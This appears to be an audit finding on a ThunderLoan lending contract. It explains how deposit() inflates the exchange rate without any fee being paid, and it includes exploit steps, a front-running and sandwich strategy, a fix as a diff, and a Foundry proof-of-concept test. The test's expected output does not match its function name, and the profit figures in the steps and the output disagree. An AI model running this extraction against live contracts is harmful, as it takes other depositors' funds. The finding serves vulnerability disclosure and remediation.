# H-01: Phantom Fee Deposit Bug Causes Protocol Insolvency
## Bug Description
### Brief/Intro
The `deposit()` function in `ThunderLoan.sol` incorrectly calculates and applies a "phantom fee" that inflates the exchange rate without any actual fee payment. This creates a Ponzi-like dynamic where early depositors can extract value from later depositors, leading to inevitable protocol insolvency.
### Details
- **Location**: `ThunderLoan.sol:147-156`
- **Logic Flaw**: The deposit function calls `getCalculatedFee()` and `updateExchangeRate()` as if a flash loan fee was paid, but no actual fee is collected during deposits.
**Vulnerable Code Snippet**:
```solidity
function deposit(IERC20 token, uint256 amount) external ... {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount); // ❌ BUG
assetToken.updateExchangeRate(calculatedFee); // ❌ BUG
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```
The `updateExchangeRate()` function uses the formula:
$$NewRate = OldRate \times \frac{TotalSupply + Fee}{TotalSupply}$$
This means every deposit artificially increases the exchange rate, making existing LP shares "worth more" on paper, even though no actual value was added.
### Exploit Steps
**Step 1: [State Change]**
Alice deposits 100 ETH into the ThunderLoan pool. The system mints her asset tokens and immediately calls `updateExchangeRate()` with a phantom fee of ~0.3 ETH. The exchange rate increases despite no fee being paid.
**Step 2: [Mathematical Precondition]**
Bob deposits 100 ETH. The phantom fee mechanism triggers again, further inflating the exchange rate. Bob receives fewer asset tokens than Alice did for the same deposit amount, because the exchange rate is now higher.
**Step 3: [Blockage Analysis]**
Alice immediately redeems her full asset token balance. Due to the inflated exchange rate, she receives approximately 100.15+ ETH - more than her original 100 ETH deposit.
**Step 4: [Impact Realization]**
The contract now holds less than 100 ETH, but Bob's shares are theoretically worth ~100 ETH. If Bob tries to fully redeem, either he receives less than deposited, or subsequent depositors face the same fate. This is a structural Ponzi scheme where early withdrawers profit at the expense of remaining LPs.
## Impact
**Critical Severity**
* **Risk Funds Calculation**:
* **TVL at Risk**: 100% of all LP deposits
* **Loss Scenario**: Every deposit creates ~0.3% phantom value. After N deposits, the protocol is insolvent by approximately 0.3% × N of total deposits.
* **Example**: With 10,000 ETH TVL after 100 deposits, protocol deficit ≈ 30 ETH
* **Direct theft of user funds**: Early depositors can front-run new deposits and redeem immediately to extract phantom value.
* **Guaranteed Insolvency**: The last LP to withdraw will always receive less than deposited.
* **MEV Attack Vector**: Sophisticated actors can sandwich new deposits for profit.
## Risk Breakdown
The vulnerability is trivial to exploit as it requires only standard deposit/redeem operations. Any user can monitor the mempool for incoming deposits, front-run with their own deposit, then back-run with a redeem to extract value.
- Difficulty to Exploit: **Low** (no special skills required)
- Weakness: CWE-682 (Incorrect Calculation)
## Recommendation
Remove the phantom fee logic from the `deposit()` function. Exchange rate should only increase when actual flash loan fees are collected.
```diff
function deposit(IERC20 token, uint256 amount) external ... {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```
## Vulnerable Code Locations
### ThunderLoan.sol - `deposit` (L147-L156)
```solidity
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount); // LINE 153
assetToken.updateExchangeRate(calculatedFee); // LINE 154
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```
## Proof of Concept
See complete PoC file: [PhantomFeePoC.t.sol]()
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { MockTSwapPool } from "../../test/mocks/MockTSwapPool.sol";
import { MockPoolFactory } from "../../test/mocks/MockPoolFactory.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title H-01: Phantom Fee Deposit Bug PoC
* @notice Demonstrates how deposit() incorrectly inflates exchange rate,
* enabling early depositors to extract value from later depositors.
*/
contract PhantomFeePoC is Test {
ThunderLoan thunderLoan;
MockPoolFactory mockPoolFactory;
ERC1967Proxy proxy;
ERC20Mock tokenA;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 constant DEPOSIT_AMOUNT = 100e18;
function setUp() public {
ThunderLoan implementation = new ThunderLoan();
mockPoolFactory = new MockPoolFactory();
tokenA = new ERC20Mock();
mockPoolFactory.createPool(address(tokenA));
proxy = new ERC1967Proxy(address(implementation), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(mockPoolFactory));
thunderLoan.setAllowedToken(tokenA, true);
tokenA.mint(alice, DEPOSIT_AMOUNT);
tokenA.mint(bob, DEPOSIT_AMOUNT);
}
function test_Exploit_PhantomFee_PonziInsolvency() public {
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
// Step 1: Alice deposits first
vm.startPrank(alice);
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
vm.stopPrank();
uint256 exchangeRateAfterAlice = assetToken.getExchangeRate();
assertGt(exchangeRateAfterAlice, 1e18, "Exchange rate inflated after Alice deposit");
// Step 2: Bob deposits (triggers phantom fee)
vm.startPrank(bob);
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
vm.stopPrank();
// Step 3: Alice redeems - extracts more than deposited
uint256 aliceAssetBalance = assetToken.balanceOf(alice);
vm.startPrank(alice);
thunderLoan.redeem(tokenA, aliceAssetBalance);
vm.stopPrank();
// Step 4: Verify insolvency
uint256 aliceTokenBalance = tokenA.balanceOf(alice);
uint256 contractBalance = tokenA.balanceOf(address(assetToken));
console.log("Alice withdrew:", aliceTokenBalance);
console.log("Alice profit:", aliceTokenBalance - DEPOSIT_AMOUNT);
console.log("Contract remaining:", contractBalance);
assertGt(aliceTokenBalance, DEPOSIT_AMOUNT, "Alice profited");
assertLt(contractBalance, DEPOSIT_AMOUNT, "INSOLVENCY - less than Bob deposited");
}
}
```
**Run Command**:
```bash
forge test --match-contract PhantomFeePoC -vvv
```
**Expected Output**:
```
[PASS] test_Exploit_PhantomFee()
Alice withdrew: 100003000000000000000
Contract remaining: 99997000000000000000
```
## References
- [Compound Finance Exchange Rate Model](https://docs.compound.finance/v2/ctokens/)
- [CWE-682: Incorrect Calculation](https://cwe.mitre.org/data/definitions/682.html)